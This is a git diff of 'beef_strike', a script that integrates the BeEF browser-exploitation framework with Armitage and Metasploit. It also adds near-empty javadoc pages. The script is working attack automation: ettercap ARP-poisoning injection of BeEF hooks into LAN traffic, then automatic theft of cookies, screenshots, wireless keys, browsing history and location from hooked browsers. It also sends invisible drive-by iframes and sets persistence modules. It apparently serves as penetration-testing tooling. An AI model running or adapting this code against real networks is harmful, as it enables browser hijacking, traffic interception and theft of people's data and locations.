diff --git a/beef_strike/BeefLib.jar b/beef_strike/BeefLib.jar new file mode 100644 index 0000000..b441663 Binary files /dev/null and b/beef_strike/BeefLib.jar differ diff --git a/beef_strike/beef_strike.cna b/beef_strike/beef_strike.cna index 2336dbd..8645853 100644 --- a/beef_strike/beef_strike.cna +++ b/beef_strike/beef_strike.cna @@ -1,231 +1,521 @@ -# Beef interaction by benyG -# Tested on backtrack5r3 -# video demo: http://www.youtube.com/watch?v=YhKhkYzq2s8&feature=share&list=UU7_xeQ_4d8jAMtxdJgikjlA +############################ WARNING !!!################################################## +## ## +## Before beginning to use this script, change all the ## +## "import" lines ... Obviously you must put the right path for each Library. ## +## But keep the lib folder (and his content) in the same folder than "BeefLib.jar" ## +## ## +## BeefStrike is a script for Beef and Armitage integration. May be you must read the ## +## README file and watch Youtube video demo before use it ## +## ## +## > @theBenyGreen < ## +## ## +########################################################################################## +import com.eyesopencrew.* from: C:\BeefLib\dist\BeefLib.jar; +import org.apache.commons.* from: C:\BeefLib\dist\lib\commons-lang-2.5.jar; +import org.apache.commons.* from: C:\BeefLib\dist\lib\commons-logging-1.1.3.jar; +import org.apache.commons.* from: C:\BeefLib\dist\lib\commons-beanutils-1.8.3.jar; +import org.apache.commons.* from: C:\BeefLib\dist\lib\commons-collections-3.2.1.jar; +import net.sf.json.* from: C:\BeefLib\dist\lib\json-lib.jar; +import net.sf.ezmorph.* from: C:\BeefLib\dist\lib\ezmorph-1.0.6.jar; -# At this time, This script doesn't use the beef_online command of beef metasploit plugin -# to update zombies list. At result, but it try to reproduce it. -# So if you try to add host while this script is running, you will falsify final result. -# Do your recruitment and Let Beef_strike add host for you. -# -# work in progress... +################### CORE variables ############################################### +global('@beef_hosts @beef_hostsoff @beef_cmde @beef_result $key'); +@beef_hosts = @(%()); # array of beef online zombies +@beef_hostsoff = @(%()); # array of beef offline zombies +@beef_cmde = @(%()); # array of beef commandes - list +@beef_result = @(%()); # array of beef command result - list [NOT USE YET] +$key = "000000000000000" ; # the MUCH important RESTful API key +$recon = 1; # Auto recon status + +######################## Introduction ########################################### on ready { -$console = console(); -$console = open_console_tab ("Beef Strike","all","zmb_hook",1); -cmd($console , "load beef"); + $console = console(); + $console = open_console_tab ("Beef Strike","all","zmb_hook",1); + cmd($console , "load beef"); + prompt($console, "\UBeEF\U >"); + say("Beef_Strike is running"); } - on console_load {show_message("$3"); - append($console, "\c5 /!\\ You may need to connect to BeEF Server");} -# on console_beef_connect {show_message("$3");} - -$first = 0 ; # first beef's zombie id -@beef_hosts = @(%()); # array of beef's zombies + append($console, "\c5 /!\\ May be you will need to connect to BeEF Server "); + } +on console_beef_connect { + show_message("$3 \n Copy and add your RESTful_API_Key (Token)"); + } +######################### BeEF MENU BAR ############################## popup attacks { menu "BeEF Strike"{ - -# iten "e" {cmd($console, "beef_online"); -# @beef_zb = @(%()); -# @beef_zb = parse_table("",); -# } - - item "Connect" { + menu "Start" { + item "Connect" { # Default value of Auto-import & Client-side auto-recon. - $import = 1; - $recon = 1; - cmd($console , "beef_disconnect"); - $url = prompt_text("beef server URL","http://127.0.0.1:4000"); - $user = prompt_text("User","beef"); - $pass = prompt_text("Password","beef"); - cmd($console , "beef_connect $url $user $pass"); - } + $import = 0; + $recon = 1; + cmd($console , "beef_disconnect"); + $beefUrl = prompt_text("BeEF Server (with http://)","http://127.0.0.1:4000"); + $user = prompt_text("User","beef"); + $pass = prompt_text("Password","beef"); + $connect = "curl -H \"Content-Type: application/json; charset=UTF-8\" -X POST -d '{\"username\":\"$user\", \"password\":\"$pass\"}' " . $beefUrl . "/api/admin/login"; + cmd($console , "$connect"); + cmd($console , "beef_connect $beefUrl $user $pass"); + + } + item " Key" { + $key = prompt_text("Copy and Paste RESTful_API_Key here","$key"); + show_message("Well done, now turn ON Auto-Import option."); + } + } menu "Recruitment" { #use ettercap filter for html injection - low injection success rate. item "ettercap method" { - $eth0 = prompt_text("Network interface of the LAN to infect","eth0"); - $filter = prompt_text("Put the absolute path of your filter","/opt/metasploit/msf3/data/armitage/cortana-scripts/beef_strike/infect.filter"); - cmd_async(" xterm -e 'etterfilter $filter -o html.ef'"); - cmd_async(" xterm -e 'ettercap -T -q -i $eth0 -F html.ef -M ARP // //'"); - show_message("ettercap filter > Contamination beging ..."); - } + $eth0 = prompt_text("Network interface of the LAN to infect","eth0"); + $filter = prompt_text("Put the absolute path of your filter","/opt/metasploit/msf3/data/armitage/cortana-scripts/beef_strike/infect.filter"); + cmd_async(" xterm -e 'etterfilter $filter -o html.ef'"); + cmd_async(" xterm -e 'ettercap -T -q -i $eth0 -F html.ef -M ARP // //'"); + show_message("ettercap filter > Contamination beging ..."); + } item "mitmproxy method"{ - # this feature will use iframe_injector script from mitmproxy to increase injection success rate. - show_message("Feature in dev."); + # this feature will use iframe_injector script from mitmproxy to increase injection success rate over a LAN. + show_message("Feature in dev."); } # [recruitment method idea] - # xsser method for find xss vulns and auto add beef hooks. - # spear phishing campaign. - } + # xss scanning method: find xss vulns and inject beef hooks. + # spear phishing campaign + # Water-Hole / cloned web-site with your beef hook embeded. + } item "Zombies" { - local('$zombitable'); - $zombitable = open_table_tab("zombies", "", @("id", "address"), @(), @("Refresh"), "zmb_hook", 1); - refresh_hosts($zombitable); - } - + local('$zombitableoff'); + $zombitableoff = open_table_tab("zombies-OFF", "", @("id", "ip","name","version","OS","platform", "domain", "port", "URI", "sessionID"), @(), @("RefreshOFF"), "zmb_hookoff", 1); + refresh_hostsoff($zombitableoff); + # two tab is open for Online and offline zombies. + local('$zombitable'); + $zombitable = open_table_tab("zombies", "", @("id", "ip","name","version","OS","platform", "domain", "port", "URI", "sessionID"), @(), @("Refresh"), "zmb_hook", 1); + refresh_hosts($zombitable); + } + item "Beef Commands" { + local('$commandtab'); + $commandtab = open_table_tab("Commandes", "", @("id","name","category"), @(), @("Fill_it"), "cmde_hook", 1); + fill_cmde_tab($commandtab); + } menu "Auto import" { -# import new zombies automatically in the metasploit database. +# import new zombies in the metasploit database. item "ON" { - append($console, "\c9 [*] Auto import enable"); $import = 1 ; + append($console, "\c9 [*] Auto import enable"); + $import = 1 ; } item "OFF" { - append($console, "\c4 [*] Auto import disable"); $import = 0 ; + append($console, "\c4 [*] Auto import disable"); + $import = 0 ; } - } + } - menu "Client-side auto recon." { -# Automatically drive client-side reconnaissance once a new zombie appear. + menu "Client-side auto recon." { +# drive client-side reconnaissance once a new zombie appear. item "ON" { - append($console, "\c9 [*] Client-side auto recon. enable"); - $recon = 1 ; - } + append($console, "\c9 [*] Client-side auto recon. enable"); + $recon = 1 ; + } item "OFF" { - append($console, "\c4 [*] Client-side auto recon. disable"); $recon = 0 ; + append($console, "\c4 [*] Client-side auto recon. disable"); + $recon = 0 ; } } - item "BeEF-Console" { - $console = open_console_tab ("Beef Strike","all","zmb_hook",1); - cmd($console , "load beef"); - cmd($console , "beef_connect $url $user $pass"); - } - - item "web UI panel" { - $urlpanel = "/ui/panel"; - url_open("$url $+ $urlpanel"); - } - + $console = open_console_tab ("Beef Strike","all","zmb_hook",1); + cmd($console , "load beef"); + cmd($console , "beef_connect $beefUrl $user $pass"); + } + item "Web UI panel" { + $beefUrlpanel = "/ui/panel"; + url_open("$beefUrl $+ $beefUrlpanel"); + } item "Disconnect" { - cmd($console , "beef_disconnect"); - cmd($console , "load beef"); - } + cmd($console , "beef_disconnect"); + cmd($console , "load beef"); + } } } -#when zombie is offline icon must turn red. -#filter host_image { -# $address = $2['address']; -# push($1, script_resource("zombie.png")); -# return @_; -# } - +# The heart beat of BeefStrike, specify the frequency of each update : zombie online and offline list, zombie importation on heartbeat_15s { + zombiupdate(); + sleep(100); if ( $import == 1 ) { - cmd($console , "beef_import"); -# cmd($console , "beef online"); - } - } + cmd($console , "beef_import"); } + } +################### Menu of action to interact with each zombie ################# popup zmb_hook { - menu "BeEF action" { - item "Information" { - @idr = flatten(table_selected($1, "id")); - $idr = @idr[0]; - @adr = flatten(table_selected($1, "address")); - $adr = @adr[0]; - append($console, "+----------------------------------------------+"); - append($console, "+--- \c7 zombie N° $idr --> $adr ---+"); - append($console, "+----------------------------------------------+"); - - cmd($console , "beef_target -i $idr"); - append($console, "+----------------------------------------------+"); -# result of this function appear on teamserver console - recon_result($idr); - append($console, "+-----------------> END <--------------------+"); - } - item "Recon." { - @idr = flatten(table_selected($1, "id")); - $idr = @idr[0]; - driverecon($idr); - } - item "Drive-by" { -# Execute beef_target -e $id 27 and send invisible iframe to victim browser- - $inviframe = prompt_text("URL","http://"); - cmd($console , "beef_target -e $id 27"); # URL param not in use ... - - } - } - } + @idr = flatten(table_selected($1, "id")); + @adr = flatten(table_selected($1, "address")); + @sessidr = flatten(table_selected($1, "sessionID")); + $idr = @idr[0]; + $adr = @adr[0]; + $sessidr = @sessidr[0]; + item "Informations" { + zombi_info($sessidr); + } + menu "Recon." { + item "Run." { driverecon($idr);} + item "See result" {recon_result($idr);} + } + menu "Attack" { + item "Drive-by" { run_driveby($beefUrl, $sessidr, $key);} + item "Raw JS" { } + } + menu "Special" { + item "Get_cookie" { #17 + append($console , "Get all cookies of > " . $adr . "" ); + send_beef_cmd_without_param($sessidr, 17); + sleep(500); + check_beef_cmd_result($sessidr, 17); + } + item "Screenshot" {#103 + append($console , "Screenshot of > " . $adr . "" ); + send_beef_cmd_without_param($sessidr, 103); + sleep(500); + check_beef_cmd_result($sessidr, 103); + } + menu "Geolocation" { #110 + item "Satellite type" { + append($console , "Geolocate > " . $adr . "" ); + send_beef_cmd_without_param($sessidr, 110); + sleep(500); + check_beef_cmd_result($sessidr, 110); + $freegeoip_url = "http://freegeoip.net/json/" . $adr . ""; + $maptype = "satellite"; + $json_freegeoip = [BeefRequester BeefGetRequest: "$freegeoip_url"]; + geomap($json_freegeoip, $maptype); + } + item "Roadmap type" { + append($console , "Geolocate > " . $adr . "" ); + send_beef_cmd_without_param($sessidr, 110); + sleep(500); + check_beef_cmd_result($sessidr, $idcmde); + $freegeoip_url = "http://freegeoip.net/json/" . $adr . ""; + $maptype = "roadmap"; + $json_freegeoip = [BeefRequester BeefGetRequest: "$freegeoip_url"]; + geomap($json_freegeoip, $maptype); + } + } + item "Send command with ID " { + append($console , "Send Command ID to >" . $adr . "" ); + $idcmde = prompt_text("Command ID","27"); + send_beef_cmd_without_param($sessidr, $idcmde); + sleep(500); + check_beef_cmd_result($sessidr, $idcmde); + %result = %(command_ID => $idcmde, sessionID => "$session"); + @beef_result[$i] = %result; + } + } + item "Unhook" { + append($console , "Unhook : " . $idr . " -> kill the zombie" ); + send_beef_cmd_without_param($sessidr, 105); + } + } +# This function send beEF command without parameter ! +sub send_beef_cmd_without_param { + $link = "" . $beefUrl . "/api/modules/" . $1 . "/" . $2 . "?token=$key"; + $send_url = "curl -H \"Content-Type: application/json; charset=UTF-8\" -d '{}' -X POST " . $link . ""; + cmd($console , "$send_url"); + } +sub check_beef_cmd_result { +# Only the first command ID for the moment + $link = "" . $beefUrl . "/api/modules/" . $1 . "/" . $2 . "/1?token=$key"; + $send_url = "curl " . $link . ""; + append($console, "\c9 [*] Result of module ID $2 "); + cmd($console , "$send_url"); + } + sub refresh_hosts { table_set($1, @beef_hosts); } - + +sub refresh_hostsoff { + table_set($1, @beef_hostsoff); +} on tab_table_click { if ($3 eq "Refresh") { refresh_hosts($1); } + if ($3 eq "RefreshOFF") { + refresh_hostsoff($1); + } + if ($3 eq "Fill_it") { + fill_cmde_tab($1); + } } +# Perform action once a new zombie appear on host_add { - # try to build result of beef_online command. - %newhost = %(id => $first, address => "$1"); - $id = %newhost["id"]; - $ad = %newhost["address"]; - show_message("new zombie > Id: $id -- IP: $ad"); - add(@beef_hosts, %newhost, $first); - append($console, "\c9 Send MiTB module for Persistence ------->"); + if ($key ne "000000000000000" ){ + show_message("new zombie > IP: $1"); + zombiupdate(); + sleep(200); + $id = size(@beef_hosts); + $id = $id - 1 ; + append($console, "\c9 Send MiTB module for Persistence ------>"); cmd($console , "beef_target -e $id 32"); # MITB Persistence - cmd($console , "beef_target -e $id 30"); # POP-Under Persistence - # feel free to add another persistence module here. - -# Drive or not drive auto recon that's the question . +# cmd($console , "beef_target -e $id 30"); # POP-Under Persistence +# Feel free to add another persistence module here. if ( $recon == 1 ) { - # BeEF recon modules deployment - driverecon($first); +# BeEF auto recon modules deployment + driverecon($id); } else { append($console, "[*]\cB Client-side auto recon. have been disabled \n Drive or not drive auto recon ? that's the question"); } - $first = $first + 1 ; + }else{show_message("Hey ? What do you do ? \n You must configure your RESTful API key ! ");} } - - +# This action launch beef recon modules again a target sub driverecon { - append($console, "[*]\cB Send client-side recon. modules ------------>"); - cmd($console , "beef_target -e $1 101"); # fingerprint browser - cmd($console , "beef_target -e $1 94"); # replace https hrefs by http - cmd($console , "beef_target -e $1 78"); # get visited domains - cmd($console , "beef_target -e $1 79"); # get visited URLs - cmd($console , "beef_target -e $1 107"); # get physical location - cmd($console , "beef_target -e $1 108"); # get location using location API - cmd($console , "beef_target -e $1 115"); # get internal IP (behind NAT) - cmd($console , "beef_target -e $1 110"); # get system information - cmd($console , "beef_target -e $1 113"); # detect installed software (IE only) + append($console, "[*]\cB Start System Profiling via Client-side recon modules --->"); + cmd($console , "beef_target -e $1 102"); # fingerprint browser + cmd($console , "beef_target -e $1 95"); # replace https hrefs by http + cmd($console , "beef_target -e $1 79"); # get visited domains + cmd($console , "beef_target -e $1 80"); # get visited URLs + cmd($console , "beef_target -e $1 107"); # get Wireless keys + cmd($console , "beef_target -e $1 110"); # get location using location API + cmd($console , "beef_target -e $1 117"); # get internal IP (behind NAT) + cmd($console , "beef_target -e $1 112"); # get system information + cmd($console , "beef_target -e $1 115"); # detect installed software (IE only) append($console, "\cB (!) BeEF say \"Command not send\", don't pay attention."); # feel free to add another module here to build complete user and system profile ;-) + say("Run BeEF based system profiling again " . $1 . ""); } - +# this action show the result of recon modules sub recon_result { append($console, "[*]\c1 Recon. result ------------>"); append($console, ">\c8 fingerprint browser "); cmd($console , "beef_target -r $1 101"); # fingerprint browser append($console, ">\c8 replace https hrefs by http "); - cmd($console , "beef_target -r $1 94"); # replace https hrefs by http + cmd($console , "beef_target -r $1 95"); # replace https hrefs by http append($console, ">\c8 get visited domains"); - cmd($console , "beef_target -r $1 78"); # get visited domains + cmd($console , "beef_target -r $1 79"); # get visited domains append($console, ">\c8 get visited URLs"); - cmd($console , "beef_target -r $1 79"); # get visited URLs - append($console, ">\c8 get physical location"); - cmd($console , "beef_target -r $1 107"); # get physical location + cmd($console , "beef_target -r $1 80"); # get visited URLs + append($console, ">\c8 get Wireless keys"); + cmd($console , "beef_target -r $1 107"); # get Wireless keys append($console, ">\c8 get location using location API "); - cmd($console , "beef_target -r $1 108"); # get location using location API + cmd($console , "beef_target -r $1 110"); # get location using location API append($console, ">\c8 get internal IP (behind NAT) "); - cmd($console , "beef_target -r $1 115"); # get internal IP (behind NAT) + cmd($console , "beef_target -r $1 117"); # get internal IP (behind NAT) append($console, ">\c8 get system information"); - cmd($console , "beef_target -r $1 110"); # get system information + cmd($console , "beef_target -r $1 112"); # get system information append($console, ">\c8 detect installed software (IE only)"); - cmd($console , "beef_target -r $1 113"); # detect installed software (IE only) + cmd($console , "beef_target -r $1 115"); # detect installed software (IE only) append($console, "\c8 :-)"); } -# on console_beef_online{ -# @online = parse_table($3, @("Id", "IP", "OS")); -# println(@online); -# append($console, "@online"); -# foreach $nReports (@online) { -# ($Id, $IP, $OS) = values($online, @('Id', 'IP', 'OS')); -# show_message($Id); -# } -# } +on console_beef_target {append($console, "$3");} + +# this action show an info box with details about a particular zombie +sub zombi_info { + $link = "" . $beefUrl . "/api/hooks/" . $1 . "?token=" . $key . ""; + $details = [BeefRequester BeefGetRequest: "$link"]; + $js = [new JSONObject]; + $js = [JSONSerializer toJSON: "$details"]; + $BrowserName = [[$js get: "BrowserName"] toString]; + $BrowserPlugins = [[$js get: "BrowserPlugins"] toString]; + $BrowserReportedName = [[$js get: "BrowserReportedName"] toString]; + $BrowserType = [[$js get: "BrowserType"] toString]; + $BrowserVersion = [[$js get: "BrowserVersion"] toString]; + $HasActiveX = [[$js get: "HasActiveX"] toString]; + $HasFlash = [[$js get: "HasFlash"] toString]; + $HasGoogleGears = [[$js get: "HasGoogleGears"] toString]; + $HasWebSocket = [[$js get: "HasWebSocket"] toString]; + $HostName = [[$js get: "HostName"] toString]; + $JavaEnabled = [[$js get: "JavaEnabled"] toString]; + $OsName = [[$js get: "OsName"] toString]; + $SystemPlatform = [[$js get: "SystemPlatform"] toString]; + $VBScriptEnabled = [[$js get: "VBScriptEnabled"] toString]; + + show_message( "BrowserName: " . $BrowserName . "\n +--------------------------------------------------+\n BrowserPlugins: " . $BrowserPlugins . "\n BrowserReportedName: " . $BrowserReportedName . "\nBrowserType: " . $BrowserType . "\n BrowserVersion: " . $BrowserVersion . "\n +--------------------------------------------------+\n HasActiveX: " . $HasActiveX . "\n HasFlash: " . $HasFlash . "\n HasGoogleGears: " . $HasGoogleGears . "\n HasWebSocket: " . $HasWebSocket . "\n HostName: " . $HostName . "\n JavaEnabled: " . $JavaEnabled . "\n OsName: " . $OsName . "\n SystemPlatform: " . $SystemPlatform . "\n VBScriptEnabled: " . $VBScriptEnabled . "\n +--------------------------------------------------+"); + append($console, "+----------------------------------------------+"); + # result of this function appear on teamserver console + # recon_result($1); + #append($console, "+-----------------> END <--------------------+"); +} + +#################################### GIVE ME MY SHELL ! ########################### +# I love this action, it send invisible iframe to your target so easily that you can play with client-side exploit like you do with remote exploit. :-D awesome ! +sub run_driveby { + # Send invisible iframe to victim browser using sesion ID and RESTfull_API key + $inviframe = prompt_text("URL (with http://)","http://"); + $link = "" . $1 . "/api/modules/" . $2 . "/27?token=$3"; + $attak = "curl -H \"Content-Type: application/json; charset=UTF-8\" -d '{\"target\":\"$inviframe\"}' -X POST " . $link . ""; + append($console, "\c4 --> Come here baby !"); + append($console , "Send invisible iframe : " . $inviframe . " --> " . $ . "" ); + cmd($console , "$attak"); + say("Send invisible iFrame: " . $inviframe . " via Beef_Strike "); + } + +# This action try to keep your zombie list up to date inside Armitage +sub zombiupdate { + $hooks_list_link = "" . $beefUrl . "/api/hooks?token=" . $key . ""; + println($hooks_list_link); + $jsonTxt = [BeefRequester BeefGetRequest: "$hooks_list_link"]; + + clear(@beef_hosts); + $on = [OnlineClass extractOnline: $jsonTxt ]; + + for ($i = 0; $i < [$on size]; $i++) { + + $id = $i ; + $ip = [OnlineClass extractZombieData: $jsonTxt, $i, "ip"]; + $name = [OnlineClass extractZombieData: $jsonTxt, $i, "name"]; + $version = [OnlineClass extractZombieData: $jsonTxt, $i, "version"]; + $os = [OnlineClass extractZombieData: $jsonTxt, $i, "os"]; + $platform = [OnlineClass extractZombieData: $jsonTxt, $i, "platform"]; + $domain = [OnlineClass extractZombieData: $jsonTxt, $i, "domain"]; + $port = [OnlineClass extractZombieData: $jsonTxt, $i, "port"]; + $page_uri = [OnlineClass extractZombieData: $jsonTxt, $i, "page_uri"]; + $session = [OnlineClass extractZombieData: $jsonTxt, $i, "session"]; + %hoston = %(id => $id, ip => "$ip", name => "$name", version => "$version", OS => "$os", platform => "$platform", domain => "$domain", port => "$port", URI => "$page_uri", sessionID => "$session"); + @beef_hosts[$i] = %hoston; + } + +#JSON Processing ---- OFFLINE ZOMBIES -----* * *------------------ + clear(@beef_hostsoff); + $off = [OfflineClass extractOffline: $jsonTxt ]; + for ($i = 0; $i < [$off size]; $i++) { + + $id = $i ; + $ip = [OfflineClass extractZombieData: $jsonTxt, $i, "ip"]; + $name = [OfflineClass extractZombieData: $jsonTxt, $i, "name"]; + $version = [OfflineClass extractZombieData: $jsonTxt, $i, "version"]; + $os = [OfflineClass extractZombieData: $jsonTxt, $i, "os"]; + $platform = [OfflineClass extractZombieData: $jsonTxt, $i, "platform"]; + $domain = [OfflineClass extractZombieData: $jsonTxt, $i, "domain"]; + $port = [OfflineClass extractZombieData: $jsonTxt, $i, "port"]; + $page_uri = [OfflineClass extractZombieData: $jsonTxt, $i, "page_uri"]; + $session = [OfflineClass extractZombieData: $jsonTxt, $i, "session"]; + %hostoff = %(id => $id, ip => "$ip", name => "$name", version => "$version", OS => "$os", platform => "$platform", domain => "$domain", port => "$port", URI => "$page_uri", sessionID => "$session"); + @beef_hostsoff[$i] = %hostoff; + } +} + +################### JSON Processing ---- BEEF COMMANDS ---- ##################### + +sub fill_cmde_tab { + fill(); + sleep(500); + table_set($1, @beef_cmde); + } + +popup cmde_hook { + @idr = flatten(table_selected($1, "id")); + $idr = @idr[0]; + item "Informations" { + cmde_info($idr); + } +} + +sub cmde_info { + $link2 = "" . $beefUrl . "/api/modules/" . $1 . "?token=" . $key . ""; + $cmdeid = [BeefRequester BeefGetRequest: "$link2"]; + $jsoncmdeinfo = [new JSONObject]; + $jsoncmdeinfo = [JSONSerializer toJSON: "$cmdeid"]; + $name = [[$jsoncmdeinfo get: "name"] toString]; + $description = [[$jsoncmdeinfo get: "description"] toString]; + $options = [[$jsoncmdeinfo get: "options"] toString]; + show_message( "Name: " . $name . "\n +-------------------------+\n Description: " . $description . "\n Options: " . $options . "\n +-----------------------+"); + } + +sub fill { + $cmd_list_link = "" . $beefUrl . "/api/modules?token=" . $key . ""; + $jsonTxt_cmde = [BeefRequester BeefGetRequest: "$cmd_list_link"]; + $c = [CommandList extractCommands: $jsonTxt_cmde] ; + for ($i = 0; $i < [$c size]; $i++) { + $id = [CommandList extractcmdData: $jsonTxt_cmde, $i, "id"]; + $name = [CommandList extractcmdData: $jsonTxt_cmde, $i, "name"]; + $category = [CommandList extractcmdData: $jsonTxt_cmde, $i, "category"]; + %cmde = %(id => "$id", name => "$name", category => "$category"); + @beef_cmde[$i] = %cmde; + } +} +########################### HOST Sub-Menu ########################### +popup host_bottom { + item "BeEF" {local('$zombitableoff'); + $zombitableoff = open_table_tab("zombies-OFF", "", @("id", "ip","name","version","OS","platform", "domain", "port", "URI", "sessionID"), @(), @("RefreshOFF"), "zmb_hookoff", 1); + refresh_hostsoff($zombitableoff); + # two tab is open for Online and offline zombies. + local('$zombitable'); + $zombitable = open_table_tab("zombies", "", @("id", "ip","name","version","OS","platform", "domain", "port", "URI", "sessionID"), @(), @("Refresh"), "zmb_hook", 1); + refresh_hosts($zombitable); + } +} + +######################## HOST ICON ################################### +# when zombie is offline icon will turn red. This filter show you the browser hooked icon +filter host_image { + local('$ip $ipoff'); + $address = $2['address']; +# Blue beef ICON for online zombie + + for ($i = 0; $i < size(@beef_hostsoff); $i++ ) { + %hostoff = @beef_hostsoff[$i]; + $ipoff = %hostoff['ip']; + $nameoff = %hostoff['name']; + if ($ipoff eq $address ){ + push($1, script_resource("zombieoff.png")); + break; + } + } + for ($i = 0; $i < size(@beef_hosts); $i++ ) { + %host = @beef_hosts[$i]; + $ip = %host['ip']; + $name = %host['name']; + if ($ip eq $address ){ + push($1, script_resource("zombie.png")); + if ($name eq "IE"){ + push($1, script_resource("iexplorer_hk.png")); + #break; + } + if ($name eq "FF"){ + push($1, script_resource("firefox_hk.png")); + #break; + } + if ($name eq "C"){ + push($1, script_resource("chrome_hk.png")); + #break; + } + if ($name eq "O"){ + push($1, script_resource("opera_hk.png")); + #break; + } + if ($name eq "S"){ + push($1, script_resource("safari_hk.png")); + #break; + } + if ($name eq "UN"){ + push($1, script_resource("unknow_hk.png")); + #break; + }# break ; + } + } + return @_; +} + +######################## GEOLOCATE ZOMBIE ################################## +# Use freegeoip.net web services -------------------------------- +sub geomap { + $js = [new JSONObject]; + $js = [JSONSerializer toJSON: "$1"]; + $ip = [[$js get: "ip"] toString]; + $country = [[$js get: "country_name"] toString]; + $city = [[$js get: "city"] toString]; + $lat = [[$js get: "latitude"] toString]; + $lon = [[$js get: "longitude"] toString]; + $map_url = "http://maps.google.com/maps/api/staticmap?size=512x512¢er=" . $lat . "," . $lon . "&maptype=" . $2 . "&zoom=13&sensor=false" + url_open("$map_url"); # IN USE BEFORE FINISH THE IMAGE TAB + + # $map_tab = open_image_tab("Map", $arg, @("Satellite", "Roadmap")); + # set_image($map_tab, "$map_url"); +} + +on tab_image_click { + # NOT IMPLEMENTED YET +} diff --git a/beef_strike/chrome_hk.png b/beef_strike/chrome_hk.png new file mode 100644 index 0000000..35b87c3 Binary files /dev/null and b/beef_strike/chrome_hk.png differ diff --git a/beef_strike/firefox_hk.png b/beef_strike/firefox_hk.png new file mode 100644 index 0000000..4db6a0f Binary files /dev/null and b/beef_strike/firefox_hk.png differ diff --git a/beef_strike/iexplorer_hk.png b/beef_strike/iexplorer_hk.png new file mode 100644 index 0000000..242adb8 Binary files /dev/null and b/beef_strike/iexplorer_hk.png differ diff --git a/beef_strike/infect.filter b/beef_strike/infect.filter index 17bf885..c3f100d 100644 --- a/beef_strike/infect.filter +++ b/beef_strike/infect.filter @@ -6,6 +6,7 @@ if (ip.proto == TCP && tcp.dst == 80) { if (ip.proto == TCP && tcp.src == 80) { if (search(DATA.data, "")) { - replace("", ""); - msg("injected..."); -}} + replace("", ""); + msg("beef injected..."); +} +} diff --git a/beef_strike/javadoc/allclasses-frame.html b/beef_strike/javadoc/allclasses-frame.html new file mode 100644 index 0000000..6600970 --- /dev/null +++ b/beef_strike/javadoc/allclasses-frame.html @@ -0,0 +1,24 @@ + + + + + + +All Classes + + + + +

All Classes

+
+ +
+ + diff --git a/beef_strike/javadoc/allclasses-noframe.html b/beef_strike/javadoc/allclasses-noframe.html new file mode 100644 index 0000000..01f52a5 --- /dev/null +++ b/beef_strike/javadoc/allclasses-noframe.html @@ -0,0 +1,24 @@ + + + + + + +All Classes + + + + +

All Classes

+
+ +
+ + diff --git a/beef_strike/javadoc/com/eyesopencrew/BeefRequester.html b/beef_strike/javadoc/com/eyesopencrew/BeefRequester.html new file mode 100644 index 0000000..7ed64df --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/BeefRequester.html @@ -0,0 +1,326 @@ + + + + + + +BeefRequester + + + + + + + +
+ + + + + +
+ + + +
+
com.eyesopencrew
+

Class BeefRequester

+
+
+ +
+ +
+
+ +
+
+ +
+
+ + +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/CommandList.html b/beef_strike/javadoc/com/eyesopencrew/CommandList.html new file mode 100644 index 0000000..06c44e7 --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/CommandList.html @@ -0,0 +1,290 @@ + + + + + + +CommandList + + + + + + + +
+ + + + + +
+ + + +
+
com.eyesopencrew
+

Class CommandList

+
+
+ +
+ +
+
+ +
+
+ +
+
+ + +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/Commands.html b/beef_strike/javadoc/com/eyesopencrew/Commands.html new file mode 100644 index 0000000..33c97a6 --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/Commands.html @@ -0,0 +1,324 @@ + + + + + + +Commands + + + + + + + +
+ + + + + +
+ + + +
+
com.eyesopencrew
+

Class Commands

+
+
+ +
+ +
+
+ +
+
+ +
+
+ + +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/OfflineClass.html b/beef_strike/javadoc/com/eyesopencrew/OfflineClass.html new file mode 100644 index 0000000..e5189df --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/OfflineClass.html @@ -0,0 +1,298 @@ + + + + + + +OfflineClass + + + + + + + +
+ + + + + +
+ + + +
+
com.eyesopencrew
+

Class OfflineClass

+
+
+ +
+ +
+
+ +
+
+ +
+
+ + +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/OnlineClass.html b/beef_strike/javadoc/com/eyesopencrew/OnlineClass.html new file mode 100644 index 0000000..ab23db4 --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/OnlineClass.html @@ -0,0 +1,299 @@ + + + + + + +OnlineClass + + + + + + + +
+ + + + + +
+ + + +
+
com.eyesopencrew
+

Class OnlineClass

+
+
+ +
+ +
+
+ +
+
+ +
+
+ + +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/Zombies.html b/beef_strike/javadoc/com/eyesopencrew/Zombies.html new file mode 100644 index 0000000..d6c2b8e --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/Zombies.html @@ -0,0 +1,522 @@ + + + + + + +Zombies + + + + + + + +
+ + + + + +
+ + + +
+
com.eyesopencrew
+

Class Zombies

+
+
+ +
+ +
+
+ +
+
+ +
+
+ + +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/class-use/BeefRequester.html b/beef_strike/javadoc/com/eyesopencrew/class-use/BeefRequester.html new file mode 100644 index 0000000..3219381 --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/class-use/BeefRequester.html @@ -0,0 +1,114 @@ + + + + + + +Uses of Class com.eyesopencrew.BeefRequester + + + + + + + +
+ + + + + +
+ + +
+

Uses of Class
com.eyesopencrew.BeefRequester

+
+
No usage of com.eyesopencrew.BeefRequester
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/class-use/CommandList.html b/beef_strike/javadoc/com/eyesopencrew/class-use/CommandList.html new file mode 100644 index 0000000..6b85899 --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/class-use/CommandList.html @@ -0,0 +1,114 @@ + + + + + + +Uses of Class com.eyesopencrew.CommandList + + + + + + + +
+ + + + + +
+ + +
+

Uses of Class
com.eyesopencrew.CommandList

+
+
No usage of com.eyesopencrew.CommandList
+ +
+ + + + + +
